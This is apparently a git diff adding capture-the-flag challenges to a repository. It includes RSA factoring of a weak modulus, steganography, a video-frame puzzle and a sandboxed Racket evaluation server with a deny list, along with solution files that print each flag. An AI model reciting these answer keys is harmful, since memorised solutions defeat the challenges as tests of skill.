|
||||
dependencies:
|
||||
safe-buffer "~5.2.0"
|
||||
|
||||
tar-fs@2.0.0:
|
||||
version "2.0.0"
|
||||
resolved "https://registry.yarnpkg.com/tar-fs/-/tar-fs-2.0.0.tgz#677700fc0c8b337a78bee3623fdc235f21d7afad"
|
||||
integrity sha512-vaY0obB6Om/fso8a8vakQBzwholQ7v5+uy+tF3Ozvxv1KNezmVQAiWtcNmMHFSFPqL3dJA8ha6gdtFbfX9mcxA==
|
||||
dependencies:
|
||||
chownr "^1.1.1"
|
||||
mkdirp "^0.5.1"
|
||||
pump "^3.0.0"
|
||||
tar-stream "^2.0.0"
|
||||
|
||||
tar-stream@^2.0.0:
|
||||
version "2.2.0"
|
||||
resolved "https://registry.yarnpkg.com/tar-stream/-/tar-stream-2.2.0.tgz#acad84c284136b060dc3faa64474aa9aebd77287"
|
||||
integrity sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==
|
||||
dependencies:
|
||||
bl "^4.0.3"
|
||||
end-of-stream "^1.4.1"
|
||||
fs-constants "^1.0.0"
|
||||
inherits "^2.0.3"
|
||||
readable-stream "^3.1.1"
|
||||
|
||||
through@^2.3.8:
|
||||
version "2.3.8"
|
||||
resolved "https://registry.yarnpkg.com/through/-/through-2.3.8.tgz#0dd4c9ffaabc357960b1b724115d7e0e86a2e1f5"
|
||||
integrity sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=
|
||||
|
||||
toidentifier@1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
|
||||
integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==
|
||||
|
||||
type-is@~1.6.17, type-is@~1.6.18:
|
||||
version "1.6.18"
|
||||
resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
|
||||
integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
|
||||
dependencies:
|
||||
media-typer "0.3.0"
|
||||
mime-types "~2.1.24"
|
||||
|
||||
uglify-js@^3.1.4:
|
||||
version "3.14.3"
|
||||
resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-3.14.3.tgz#c0f25dfea1e8e5323eccf59610be08b6043c15cf"
|
||||
integrity sha512-mic3aOdiq01DuSVx0TseaEzMIVqebMZ0Z3vaeDhFEh9bsc24hV1TFvN74reA2vs08D0ZWfNjAcJ3UbVLaBss+g==
|
||||
|
||||
uid-safe@~2.1.5:
|
||||
version "2.1.5"
|
||||
resolved "https://registry.yarnpkg.com/uid-safe/-/uid-safe-2.1.5.tgz#2b3d5c7240e8fc2e58f8aa269e5ee49c0857bd3a"
|
||||
integrity sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==
|
||||
dependencies:
|
||||
random-bytes "~1.0.0"
|
||||
|
||||
unbzip2-stream@1.3.3:
|
||||
version "1.3.3"
|
||||
resolved "https://registry.yarnpkg.com/unbzip2-stream/-/unbzip2-stream-1.3.3.tgz#d156d205e670d8d8c393e1c02ebd506422873f6a"
|
||||
integrity sha512-fUlAF7U9Ah1Q6EieQ4x4zLNejrRvDWUYmxXUpN3uziFYCHapjWFaCAnreY9bGgxzaMCFAPPpYNng57CypwJVhg==
|
||||
dependencies:
|
||||
buffer "^5.2.1"
|
||||
through "^2.3.8"
|
||||
|
||||
unpipe@1.0.0, unpipe@~1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
|
||||
integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=
|
||||
|
||||
util-deprecate@^1.0.1:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
|
||||
integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=
|
||||
|
||||
utils-merge@1.0.1:
|
||||
version "1.0.1"
|
||||
resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
|
||||
integrity sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=
|
||||
|
||||
vary@~1.1.2:
|
||||
version "1.1.2"
|
||||
resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
|
||||
integrity sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=
|
||||
|
||||
walk@2.3.14:
|
||||
version "2.3.14"
|
||||
resolved "https://registry.yarnpkg.com/walk/-/walk-2.3.14.tgz#60ec8631cfd23276ae1e7363ce11d626452e1ef3"
|
||||
integrity sha512-5skcWAUmySj6hkBdH6B6+3ddMjVQYH5Qy9QGbPmN8kVmLteXk+yVXg+yfk1nbX30EYakahLrr8iPcCxJQSCBeg==
|
||||
dependencies:
|
||||
foreachasync "^3.0.0"
|
||||
|
||||
wordwrap@^1.0.0:
|
||||
version "1.0.0"
|
||||
resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-1.0.0.tgz#27584810891456a4171c8d0226441ade90cbcaeb"
|
||||
integrity sha1-J1hIEIkUVqQXHI0CJkQa3pDLyus=
|
||||
|
||||
wrappy@1:
|
||||
version "1.0.2"
|
||||
resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
|
||||
integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
|
||||
|
||||
ws@7.4.6:
|
||||
version "7.4.6"
|
||||
resolved "https://registry.yarnpkg.com/ws/-/ws-7.4.6.tgz#5654ca8ecdeee47c33a9a4bf6d28e2be2980377c"
|
||||
integrity sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==
|
||||
|
||||
yauzl@^2.10.0:
|
||||
version "2.10.0"
|
||||
resolved "https://registry.yarnpkg.com/yauzl/-/yauzl-2.10.0.tgz#c7eb17c93e112cb1086fa6d8e51fb0667b79a5f9"
|
||||
integrity sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=
|
||||
dependencies:
|
||||
buffer-crc32 "~0.2.3"
|
||||
fd-slicer "~1.1.0"
|
6
nowyouseeme_nowyoudont/README.md
Normal file
6
nowyouseeme_nowyoudont/README.md
Normal file
@ -0,0 +1,6 @@
|
||||
# Now you see me, now you don't
|
||||
## Text
|
||||
This challenge was only shown on the platform itself.
|
||||
|
||||
## Files
|
||||
/
|
7
nowyouseeme_nowyoudont/SOLUTION.md
Normal file
7
nowyouseeme_nowyoudont/SOLUTION.md
Normal file
@ -0,0 +1,7 @@
|
||||
## Difficulty
|
||||
Easy. 10 points
|
||||
## How To Solve
|
||||
Flag is commented out in the HTML of the challenge description.
|
||||
|
||||
## Flag
|
||||
IGCTF{W3LoVeHtMLInsp3cT10n}
|
7
prime_magic/README.md
Normal file
7
prime_magic/README.md
Normal file
@ -0,0 +1,7 @@
|
||||
# Prime Magic
|
||||
|
||||
## Text
|
||||
You are an emo vampire 'My Chemical Romance' fan that just started their education at Hogwarts. In the last lecture, professor Dumblidore told you to exercise a spell at home as homework. However, Dumblidore's handwriting on the assignment is so bad you'll have to decrypt it. In the given file you will find all necessary information to reverse engineer the RSA encryption he used.
|
||||
|
||||
## Files
|
||||
assignment.txt
|
27
prime_magic/SOLUTION.md
Normal file
27
prime_magic/SOLUTION.md
Normal file
@ -0,0 +1,27 @@
|
||||
## Difficulty
|
||||
Medium. 60 points
|
||||
|
||||
## How to Solve
|
||||
Explanation on RSA encryption can be found here: https://en.wikipedia.org/wiki/RSA_(cryptosystem)
|
||||
|
||||
You get the values c, n and e:
|
||||
* c is the encrypted message
|
||||
* n is the modulus
|
||||
* e is the public key of the receiver
|
||||
|
||||
You are supposed to find m, the decrypted message. Doing so requires to find some auxiliary values
|
||||
|
||||
### p and q
|
||||
p and q are two prime numbers that you can find by factoring n. A handy tool exists online: http://factordb.com/index.php
|
||||
|
||||
### phi(n)
|
||||
phi(n) = (p - 1) * (q - 1)
|
||||
|
||||
### private key d
|
||||
d is the private key of the receiver. Since we are intercepting this message, we do not have access to the d, but we can calulate it by doing (d * e) = 1 (modulo phi(n)). Note that this will take a long time. A faster way is to use multiplicative inverse, which you can find in several math libraries of the language of your choice.
|
||||
|
||||
### Decrypting c to m
|
||||
This can be done using c ^ d (mod n). Use a library function to calculate this, since they use faster algorithms. This will grant you a decimal number, not the flag yet. Convert this to hex, and split the hex string in pairs of two to get the hex numbers for ascii characters. Translate to ascii and you will be granted with the flag.
|
||||
|
||||
## Flag
|
||||
IGCTF{WINGarduimLEViosa}
|
14
prime_magic/all_the_numbers.txt
Normal file
14
prime_magic/all_the_numbers.txt
Normal file
@ -0,0 +1,14 @@
|
||||
p = 411481484074428595727757344849
|
||||
q = 512734463417573692484064589531
|
||||
|
||||
n = 210980737943169040756097723601967884100039711865501602175819
|
||||
phi(n) = 210980737943169040756097723601043668152547709577289780241440
|
||||
|
||||
e = 7
|
||||
d = 30140105420452720108013960514434809736078244225327111463063
|
||||
|
||||
flag = IGCTF{WINGarduimLEViosa}
|
||||
hex(flag) = 49474354467b57494e4761726475696d4c4556696f73617d
|
||||
dec(flag) (m) = 1796780431538551553144839946274024310076109030984288264573
|
||||
|
||||
c = 8711853753483579701322290941915765213212086928701373860451
|
3
prime_magic/assignment.txt
Normal file
3
prime_magic/assignment.txt
Normal file
@ -0,0 +1,3 @@
|
||||
c = 8711853753483579701322290941915765213212086928701373860451
|
||||
n = 210980737943169040756097723601967884100039711865501602175819
|
||||
e = 7
|
5
redlight_greenlight/README.md
Normal file
5
redlight_greenlight/README.md
Normal file
@ -0,0 +1,5 @@
|
||||
# Red Light, Green Light
|
||||
## Text
|
||||
Neen deze challenge zal je niet je leven kosten als je ze niet opgelost krijgt. Er gaat alleen iemand heel teleurgesteld zijn.
|
||||
## Files
|
||||
RedLightGreenLight.mp4
|
BIN
redlight_greenlight/RedLightGreenLight.mp4
Normal file
BIN
redlight_greenlight/RedLightGreenLight.mp4
Normal file
Binary file not shown.
7
redlight_greenlight/SOLUTION.md
Normal file
7
redlight_greenlight/SOLUTION.md
Normal file
@ -0,0 +1,7 @@
|
||||
## Difficulty
|
||||
Hard. (?)
|
||||
## How To Solve
|
||||
Extract all the frames from the video (e.g. using ffmpeg: `ffmpeg -i RedLightGreenLight.mp4 frame%04d.jpg -hide_banner`).
|
||||
Each "light" appears X frames, the number of frames form a decimal number. Convert the sequence of decimal numbers to ASCII to get the flag.
|
||||
## Flag
|
||||
IGCTF{Y0uF1nishedG4me1}
|
7
restrictive-racket/README.md
Normal file
7
restrictive-racket/README.md
Normal file
@ -0,0 +1,7 @@
|
||||
# Restrictive Racket
|
||||
(contains 4 challenges in total so just add 0, 1, 2, 3 to the name)
|
||||
Description should always be the same.
|
||||
|
||||
## Text
|
||||
This is a series of challenges where you need to program something in Scheme but only a small subset of the language is allowed to be used. More information is given on the website: <TODO deploy>.
|
||||
Correctly solving one of the challenges will yield a flag. You can try to attack the website itself, however it is not recommend since it contains no vulnerabilities to the best of our knowledge.
|
67
restrictive-racket/SOLUTION.md
Normal file
67
restrictive-racket/SOLUTION.md
Normal file
@ -0,0 +1,67 @@
|
||||
## Difficulty
|
||||
- Free (5 punten)
|
||||
|
||||
## How To Solve
|
||||
(lambda (a) (+ a 1))
|
||||
|
||||
## Flag
|
||||
IGCTF{CongratulationsYouAreSane!}
|
||||
|
||||
-------
|
||||
## Difficulty
|
||||
- Easy (15 punten)
|
||||
|
||||
## How To Solve
|
||||
(begin
|
||||
(define (a b)
|
||||
(if (= b 0)
|
||||
#t
|
||||
(if (= b 1)
|
||||
#f
|
||||
(a (- b 2)))))
|
||||
a)
|
||||
|
||||
## Flag
|
||||
IGCTF{FunThingsAreFun}
|
||||
|
||||
-------
|
||||
## Difficulty
|
||||
- Somewhat easy (30 punten)
|
||||
|
||||
## How To Solve
|
||||
(begin
|
||||
(define (a b)
|
||||
(or (= b 0) (and (not (= b 1)) (a (- b 2)))))
|
||||
a)
|
||||
|
||||
## Flag
|
||||
IGCTF{ICantThinkOfGoodFlags}
|
||||
|
||||
-------
|
||||
## Difficulty
|
||||
- Average (50 punten)
|
||||
|
||||
## How To Solve
|
||||
This solution uses a Y combinator, for example this works:
|
||||
((lambda (e d)
|
||||
(e d))
|
||||
(lambda (c)
|
||||
((lambda (b) (b b))
|
||||
(lambda (b) (c (lambda (a) ((b b) a))))))
|
||||
(lambda (c)
|
||||
(lambda (b)
|
||||
(if (= b 0)
|
||||
#t
|
||||
(if (= b 1)
|
||||
#f
|
||||
(c (- b 2)))))))
|
||||
|
||||
## Flag
|
||||
IGCTF{LambdasArePrettyAwesome}
|
||||
|
||||
---------
|
||||
## Difficulty
|
||||
TODO
|
||||
## How To Solve
|
||||
|
||||
## Flag
|
BIN
restrictive-racket/assets/favicon.ico
Normal file
BIN
restrictive-racket/assets/favicon.ico
Normal file
Binary file not shown.
After Width: | Height: | Size: 15 KiB |
BIN
restrictive-racket/assets/rkt.png
Normal file
BIN
restrictive-racket/assets/rkt.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 31 KiB |
BIN
restrictive-racket/assets/sicp.jpg
Normal file
BIN
restrictive-racket/assets/sicp.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 444 KiB |
59
restrictive-racket/assets/style.css
Normal file
59
restrictive-racket/assets/style.css
Normal file
@ -0,0 +1,59 @@
|
||||
/*body {
|
||||
background-image: url("rkt.png");
|
||||
background-color: grey;
|
||||
}*/
|
||||
|
||||
.challenges {
|
||||
padding-top: 10px;
|
||||
max-width: 800px;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.intro {
|
||||
max-width: 800px;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.challenge {
|
||||
border: 4px solid black;
|
||||
padding: 5px;
|
||||
margin-top: 15px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: navy;
|
||||
margin-left: 20px;
|
||||
}
|
||||
|
||||
.output {
|
||||
border: 2px solid black;
|
||||
padding: 3px;
|
||||
margin-top: 5px;
|
||||
margin-bottom: 5px;
|
||||
margin-right: auto;
|
||||
font-family: monospace;
|
||||
font-size: larger;
|
||||
}
|
||||
|
||||
textarea {
|
||||
font-family: monospace;
|
||||
font-size: larger;
|
||||
width: 100%;
|
||||
height: 20%;
|
||||
margin-top: 15px;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: #D8000C;
|
||||
background-color: #FFBABA;
|
||||
margin: 10px 0px;
|
||||
padding:12px;
|
||||
}
|
||||
|
||||
.flag {
|
||||
color: #4F8A10;
|
||||
background-color: #DFF2BF;
|
||||
margin: 10px 0px;
|
||||
padding:12px;
|
||||
}
|
40
restrictive-racket/challenge.rkt
Normal file
40
restrictive-racket/challenge.rkt
Normal file
@ -0,0 +1,40 @@
|
||||
#lang racket
|
||||
|
||||
(require racket/format)
|
||||
|
||||
(provide make-challenge add-status (struct-out challenge))
|
||||
|
||||
(struct challenge (id description flag input output allowed status err))
|
||||
|
||||
; This list is non-exhaustive, you can help by expanding it.
|
||||
(define never-allow '(read string->symbol))
|
||||
|
||||
(define (verify-allowed allowed)
|
||||
(define res
|
||||
(map (lambda (sym)
|
||||
(define found (member sym never-allow))
|
||||
(if found
|
||||
(car found)
|
||||
'()))
|
||||
allowed))
|
||||
(flatten res))
|
||||
|
||||
(define (make-challenge id description flag input output allowed)
|
||||
(define bad-allowed (verify-allowed allowed))
|
||||
(cond
|
||||
((not (null? bad-allowed))
|
||||
(error "Error: you allowed a variable in a challenge that may lead to remote code execution: " (~v bad-allowed)))
|
||||
((not (= (length input) (length output)))
|
||||
(error "Input and output of a challenge needs to be of the same length"))
|
||||
(else
|
||||
(challenge id description flag input output allowed #f ""))))
|
||||
|
||||
(define (add-status status err c)
|
||||
(challenge (challenge-id c)
|
||||
(challenge-description c)
|
||||
(challenge-flag c)
|
||||
(challenge-input c)
|
||||
(challenge-output c)
|
||||
(challenge-allowed c)
|
||||
status
|
||||
err))
|
45
restrictive-racket/challenges.rkt
Normal file
45
restrictive-racket/challenges.rkt
Normal file
@ -0,0 +1,45 @@
|
||||
#lang racket
|
||||
|
||||
(require "challenge.rkt")
|
||||
|
||||
(provide challenges)
|
||||
|
||||
;This file contains the challenges of the platform
|
||||
;Make sure the id's are incremental, starting from 0 and correspond to the challenges displayed on the platform
|
||||
;VERY IMPORTANT: NEVER ALLOW STATE! If state is allowed e.g. through set! it can be abused to simply hardcode the output
|
||||
;I also recommend making the first challenge a sanity check for instance by having the input and output be the same
|
||||
|
||||
(define variable-names
|
||||
'(a b c d e f g h i j k l m n o p q r s t u v w x y z))
|
||||
|
||||
(define challenges
|
||||
(list
|
||||
(make-challenge
|
||||
0
|
||||
"This challenge is the sanity check! Try writing a lambda that maps the inputs to the outputs."
|
||||
"IGCTF{CongratulationsYouAreSane!}"
|
||||
(list 1 2 3 4 5 6 7 8 9 10)
|
||||
(list 2 3 4 5 6 7 8 9 10 11)
|
||||
`(,@(take variable-names 1) + lambda))
|
||||
(make-challenge
|
||||
1
|
||||
"In this challenge you have to determine if a given number is even."
|
||||
"IGCTF{FunThingsAreFun}"
|
||||
(list 6 3 4 9 1 2 4 500 321 1337)
|
||||
(list #t #f #t #f #f #t #t #t #f #f)
|
||||
`(,@(take variable-names 5) define lambda begin if + - =))
|
||||
(make-challenge
|
||||
2
|
||||
"Same as the previous one, but you don't get to use an if."
|
||||
"IGCTF{ICantThinkOfGoodFlags}"
|
||||
(list 6 3 4 9 1 2 4 500 321 1337)
|
||||
(list #t #f #t #f #f #t #t #t #f #f)
|
||||
`(,@(take variable-names 5) define lambda begin or not and + - =))
|
||||
(make-challenge
|
||||
3
|
||||
"Fine, you can have your if back. But i'm taking away your precious define and begin!"
|
||||
"IGCTF{LambdasArePrettyAwesome}"
|
||||
(list 6 3 4 9 1 2 4 500 321 1337)
|
||||
(list #t #f #t #f #f #t #t #t #f #f)
|
||||
`(,@(take variable-names 5) lambda if + - =))))
|
||||
|
75
restrictive-racket/either.rkt
Normal file
75
restrictive-racket/either.rkt
Normal file
@ -0,0 +1,75 @@
|
||||
#lang racket
|
||||
|
||||
(provide left right left? right? squash
|
||||
>>= return reduce <*> e-map do)
|
||||
|
||||
(struct either (tag value))
|
||||
|
||||
(define (left val)
|
||||
(either 'left val))
|
||||
|
||||
(define (right val)
|
||||
(either 'right val))
|
||||
|
||||
(define (left? val)
|
||||
(and (either? val) (eq? (either-tag val) 'left)))
|
||||
|
||||
(define (right? val)
|
||||
(not (left? val)))
|
||||
|
||||
(define (>>= e f)
|
||||
(if (eq? (either-tag e) 'left)
|
||||
e
|
||||
(f (either-value e))))
|
||||
|
||||
(define (return x)
|
||||
(right x))
|
||||
|
||||
(define (reduce f-left f-right e)
|
||||
(if (eq? (either-tag e) 'left)
|
||||
(f-left (either-value e))
|
||||
(f-right (either-value e))))
|
||||
|
||||
(define (<*> f e)
|
||||
(cond
|
||||
((eq? 'left (either-tag f))
|
||||
f)
|
||||
((eq? 'left (either-tag e))
|
||||
e)
|
||||
(else
|
||||
(right ((either-value f) (either-value e))))))
|
||||
|
||||
(define (e-map f e)
|
||||
(if (eq? 'left (either-tag e))
|
||||
e
|
||||
(right (f (either-value e)))))
|
||||
|
||||
(define (squash e)
|
||||
(if (and (right? e) (either? (either-value e)))
|
||||
(either-value e)
|
||||
e))
|
||||
|
||||
; (do
|
||||
; (<- var1 exp1)
|
||||
; (exp2)
|
||||
; (let var2 exp3)
|
||||
; (return var2))
|
||||
;
|
||||
; -->
|
||||
; (>>= exp1 (lambda (var1) (exp2) (let ((var2 exp3)) (return var2))))
|
||||
|
||||
(define-syntax (do stx)
|
||||
(define (do->lambda exprs)
|
||||
(define expr (car exprs))
|
||||
(cond
|
||||
((and (pair? expr) (eq? (car expr) '<-))
|
||||
`(>>= ,(caddr expr) (lambda (,(cadr expr)) ,(do->lambda (cdr exprs)))))
|
||||
((and (pair? expr) (eq? (car expr) 'let))
|
||||
`(let ((,(cadr expr) ,(caddr expr))) ,(do->lambda (cdr exprs))))
|
||||
((null? (cdr exprs))
|
||||
expr)
|
||||
(else
|
||||
`(begin ,expr ,(do->lambda (cdr exprs))))))
|
||||
(let* ((ast (syntax->datum stx))
|
||||
(transformed (do->lambda (cdr ast))))
|
||||
(datum->syntax stx transformed)))
|
6
restrictive-racket/intro.txt
Normal file
6
restrictive-racket/intro.txt
Normal file
@ -0,0 +1,6 @@
|
||||
Welcome to this series of Scheme challenges!
|
||||
In every challenge you will have to solve the given problem by writing Scheme code that returns a lambda which produces the required output when given the specified input.
|
||||
There is a catch: you may only use a small amount of variables, procedures and special-forms. Literals such as numbers and strings are still allowed of course.
|
||||
Go ahead and experiment with the first challenge and see how it works! It is a sanity check to make sure you understand what you need to do. Contact one of the organisers if you have issues solving it!
|
||||
|
||||
Please refrain from writing infinite loops, I didn't feel like solving the halting problem...
|
131
restrictive-racket/server.rkt
Normal file
131
restrictive-racket/server.rkt
Normal file
@ -0,0 +1,131 @@
|
||||
#lang racket
|
||||
|
||||
(require web-server/servlet
|
||||
web-server/servlet-env)
|
||||
|
||||
(require "challenge.rkt")
|
||||
(require "either.rkt")
|
||||
(require "challenges.rkt")
|
||||
(require "validate.rkt")
|
||||
(require racket/format)
|
||||
|
||||
(define intro (file->string "intro.txt"))
|
||||
|
||||
; start: request -> response
|
||||
; Consumes a request and produces a page that displays all of the
|
||||
; web content.
|
||||
(define (start request)
|
||||
(define updated-challenges
|
||||
(cond ((can-parse-attempt? (request-bindings request))
|
||||
(process-attempt (request-bindings request)))
|
||||
(else
|
||||
challenges)))
|
||||
(render-page updated-challenges))
|
||||
|
||||
; Produces true if bindings contains values for 'id and 'code
|
||||
(define (can-parse-attempt? bindings)
|
||||
(and (exists-binding? 'id bindings)
|
||||
(exists-binding? 'code bindings)))
|
||||
|
||||
; The main piece of code for processing a request
|
||||
; Takes care of all necesarry error handling and updates a challenge based on the results
|
||||
(define (process-attempt bindings)
|
||||
(define input-id (extract-binding/single 'id bindings))
|
||||
(define result
|
||||
(do
|
||||
(<- id (parse-id input-id))
|
||||
(let code (extract-binding/single 'code bindings))
|
||||
(<- challenge (get-challenge id))
|
||||
(let allowed (challenge-allowed challenge))
|
||||
(<- validated-code (validate code allowed))
|
||||
(run challenge validated-code)))
|
||||
(reduce (add-response input-id 'fail) (add-response input-id 'success) result))
|
||||
|
||||
|
||||
; Parse the id of the request
|
||||
(define (parse-id id)
|
||||
(define num (string->number id))
|
||||
(if num
|
||||
(right num)
|
||||
(left "Error parsing challenge id, not a valid number")))
|
||||
|
||||
; Adds a result to a single challenge (1 arg curried)
|
||||
(define (add-response id status)
|
||||
(define id-num (string->number id))
|
||||
(lambda (err)
|
||||
(map (lambda (ch)
|
||||
(if (equal? id-num (challenge-id ch))
|
||||
(add-status status err ch)
|
||||
ch))
|
||||
challenges)))
|
||||
|
||||
; Tries to obtain a certain challenge
|
||||
(define (get-challenge id)
|
||||
(if (or (< id 0) (>= id (length challenges)))
|
||||
(left "Bad challenge id given, stop hacking my platform >:(")
|
||||
(right (list-ref challenges id))))
|
||||
|
||||
; Renders the entire page
|
||||
(define (render-page challenges)
|
||||
(response/xexpr
|
||||
`(html (head
|
||||
(title "Scheme Challenges!")
|
||||
(link ((rel "stylesheet") (href "style.css")))
|
||||
(link ((rel "shortcut icon") (href "favicon.ico") (type "image/x-icon"))))
|
||||
(body
|
||||
,(render-intro)
|
||||
,(render-challenges challenges)
|
||||
(div ((style "display: none;"))
|
||||
(a ((href "sicp.jpg")) "Hidden url :o "))))))
|
||||
|
||||
; Renders the explanations etc
|
||||
(define (render-intro)
|
||||
`(div ((class "intro"))
|
||||
(h2 "Scheme Programming Challenges")
|
||||
(p ,intro)))
|
||||
|
||||
; Renders all challenges
|
||||
(define (render-challenges challenges)
|
||||
`(div ((class "challenges"))
|
||||
,@(map render-challenge challenges)))
|
||||
|
||||
; Renders a single challenge
|
||||
(define (render-challenge challenge)
|
||||
(define status (challenge-status challenge))
|
||||
(define err? (eq? status 'fail))
|
||||
(define succ? (eq? status 'success))
|
||||
`(div ((class "challenge"))
|
||||
(h3 ,(string-append "Challenge " (number->string(challenge-id challenge))))
|
||||
(p ,(challenge-description challenge))
|
||||
(div ((class "input-str"))
|
||||
"Allowed procedures, special-forms and variable names:")
|
||||
(div ((class "output"))
|
||||
,(apply ~a (challenge-allowed challenge) #:separator " | "))
|
||||
(div ((class "input-str"))
|
||||
"Given input:")
|
||||
(div ((class "output"))
|
||||
,(apply ~a (challenge-input challenge) #:separator " | "))
|
||||
(div ((class "output-str"))
|
||||
"Expected output:")
|
||||
(div ((class "output"))
|
||||
,(apply ~a (challenge-output challenge) #:separator " | "))
|
||||
(form
|
||||
(input ((name "id") (type "hidden") (value ,(number->string (challenge-id challenge)))))
|
||||
(textarea ((name "code")))
|
||||
(button ((type "submit")) "Get flag!"))
|
||||
(div ((class "error") (style ,(if err? "" "display: none;")))
|
||||
,(if (pair? (challenge-err challenge))
|
||||
(apply ~a (challenge-err challenge) #:separator " | ")
|
||||
(~a (challenge-err challenge))))
|
||||
(div ((class "flag") (style ,(if succ? "" "display: none;")))
|
||||
,(if succ?
|
||||
(challenge-flag challenge)
|
||||
"")))) ;TODO input is cleared after submission
|
||||
|
||||
; #:listen-ip #f
|
||||
; #:command-line? #t
|
||||
(serve/servlet start
|
||||
#:servlet-path "/"
|
||||
#:listen-ip #f
|
||||
#:command-line? #t
|
||||
#:extra-files-paths (list (build-path "assets/")))
|
42
restrictive-racket/validate.rkt
Normal file
42
restrictive-racket/validate.rkt
Normal file
@ -0,0 +1,42 @@
|
||||
; This will be used on the server to validate all source code by the participants before running it
|
||||
; Allowed procedures and special-forms will vary with each challenge
|
||||
|
||||
#lang racket
|
||||
|
||||
(require "challenge.rkt")
|
||||
(require "either.rkt")
|
||||
|
||||
(provide validate run)
|
||||
|
||||
(define (validate str allowed)
|
||||
(call/cc
|
||||
(lambda (c)
|
||||
(call-with-exception-handler
|
||||
(lambda (e)
|
||||
(c (left (exn-message e))))
|
||||
(lambda ()
|
||||
(define expr (read (open-input-string str)))
|
||||
(if (check-allowed expr allowed)
|
||||
(right expr)
|
||||
(left "Error: you used a procedure, special form or variable name that has been disabled.")))))))
|
||||
|
||||
(define (check-allowed expr allowed)
|
||||
(if (pair? expr)
|
||||
(andmap (lambda (x) (check-allowed x allowed)) expr)
|
||||
(or (not (symbol? expr)) (member expr allowed))))
|
||||
|
||||
; Allowing for functions with multiple arguments is something I leave for the future generation to implement
|
||||
; It should be quite trivial add
|
||||
(define (run challenge code)
|
||||
(call/cc
|
||||
(lambda (c)
|
||||
(call-with-exception-handler
|
||||
(lambda (e)
|
||||
(c (left (exn-message e))))
|
||||
(lambda ()
|
||||
(define input (challenge-input challenge))
|
||||
(define func (eval code (make-base-namespace)))
|
||||
(define res (map (lambda (in) (apply func (list in))) input))
|
||||
(if (equal? res (challenge-output challenge))
|
||||
(right "")
|
||||
(left res)))))))
|
BIN
rise_of_the_debugging_ducks/IREQUIREBUGS
Normal file
BIN
rise_of_the_debugging_ducks/IREQUIREBUGS
Normal file
Binary file not shown.
After Width: | Height: | Size: 151 KiB |
6
rise_of_the_debugging_ducks/README.md
Normal file
6
rise_of_the_debugging_ducks/README.md
Normal file
@ -0,0 +1,6 @@
|
||||
# Rise of The Debugging Ducks
|
||||
## Text
|
||||
De debugging ducks zijn helemaal losgeslagen. Ze komen van overal en stoppen niet tot ze alle bugs hebben verzameld om ze onopgelost te laten of zoeken ze toch nog iets anders?
|
||||
|
||||
## Files
|
||||
File: IREQUIREBUGS
|
9
rise_of_the_debugging_ducks/SOLUTION.md
Normal file
9
rise_of_the_debugging_ducks/SOLUTION.md
Normal file
@ -0,0 +1,9 @@
|
||||
## Difficulty
|
||||
?
|
||||
## How To Solve
|
||||
Use the `file` command to know that IREQUIREBUGS a png file is.
|
||||
In this PNG there is a message hidden using LSB steganography.
|
||||
The message is encoded in base32.
|
||||
|
||||
## Flag
|
||||
IGCTF{IJuStW4nTS0m3oneToL1keMe}
|
5
rng_farm/.idea/.gitignore
vendored
Normal file
5
rng_farm/.idea/.gitignore
vendored
Normal file
@ -0,0 +1,5 @@
|
||||
# Default ignored files
|
||||
/shelf/
|
||||
/workspace.xml
|
||||
# Editor-based HTTP Client requests
|
||||
/httpRequests/
|
8
rng_farm/.idea/modules.xml
Normal file
8
rng_farm/.idea/modules.xml
Normal file
@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/rng_farm.iml" filepath="$PROJECT_DIR$/.idea/rng_farm.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
12
rng_farm/.idea/rng_farm.iml
Normal file
12
rng_farm/.idea/rng_farm.iml
